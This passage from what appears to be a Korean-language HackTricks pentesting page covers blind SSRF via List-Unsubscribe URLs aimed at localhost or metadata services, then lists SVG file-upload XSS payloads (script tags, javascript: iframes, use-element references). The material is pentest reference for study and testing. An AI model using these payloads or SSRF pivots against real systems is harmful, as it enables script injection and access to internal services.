with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)

</details>

**ํ…Œ์ŠคํŠธ ๋…ธํŠธ**

- OAST ์—”๋“œํฌ์ธํŠธ๋ฅผ ์‚ฌ์šฉํ•ด blind SSRF ํžˆํŠธ๋ฅผ ์ˆ˜์ง‘ํ•œ ๋‹ค์Œ, primitive๊ฐ€ ํ™•์ธ๋˜๋ฉด `List-Unsubscribe` URL์„ `http://127.0.0.1:PORT`, ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ ์„œ๋น„์Šค ๋˜๋Š” ๋‹ค๋ฅธ ๋‚ด๋ถ€ ํ˜ธ์ŠคํŠธ๋กœ ์กฐ์ •ํ•˜์„ธ์š”.
- unsubscribe helper๋Š” ์ข…์ข… ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜๊ณผ ๋™์ผํ•œ HTTP ์Šคํƒ์„ ์žฌ์‚ฌ์šฉํ•˜๋ฏ€๋กœ, ํ”„๋ก์‹œ ์„ค์ •, HTTP verbs, ๊ทธ๋ฆฌ๊ณ  header rewrites๋ฅผ ๋ฌผ๋ ค๋ฐ›์•„ [SSRF methodology](../ssrf-server-side-request-forgery/README.md)์— ์„ค๋ช…๋œ ์ถ”๊ฐ€ traversal ํŠธ๋ฆญ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

### XSS uploading files (svg)

์ด๋ฏธ์ง€๋กœ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•˜์„ธ์š” (์ถœ์ฒ˜: [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

Find ๋” ๋งŽ์€ SVG payloads๋ฅผ https://github.com/allanlw/svg-cheatsheet์—์„œ ํ™•์ธํ•˜์„ธ์š”

๊ธฐํƒ€ JS Tricks & ๊ด€๋ จ ์ •๋ณด

Misc JS Tricks & Relevant Info

XSS ๋ฆฌ์†Œ์Šค

์ฐธ๊ณ 

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ